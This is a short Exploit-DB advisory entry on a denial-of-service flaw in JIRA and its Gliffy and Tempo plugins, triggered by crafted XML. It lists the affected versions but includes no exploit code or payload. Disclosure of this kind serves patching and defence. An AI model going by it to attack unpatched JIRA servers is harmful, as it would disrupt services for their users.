text exploit Source: Exploit-DB
source: https://www.securityfocus.com/bid/53595/info

JIRA, and the Gliffy and Tempo plugins for JIRA are prone to a denial-of-service vulnerability because they fail to properly handle crafted XML data.

Exploiting this issue allows remote attackers to cause denial-of-service conditions in the context of an affected application.

The following versions are affected:

Versions prior to JIRA 5.0.1 are vulnerable.
Versions prior to Gliffy 3.7.1 are vulnerable.
Versions prior to Tempo versions 6.4.3.1, 6.5.1, and 7.0.3 are vulnerable.
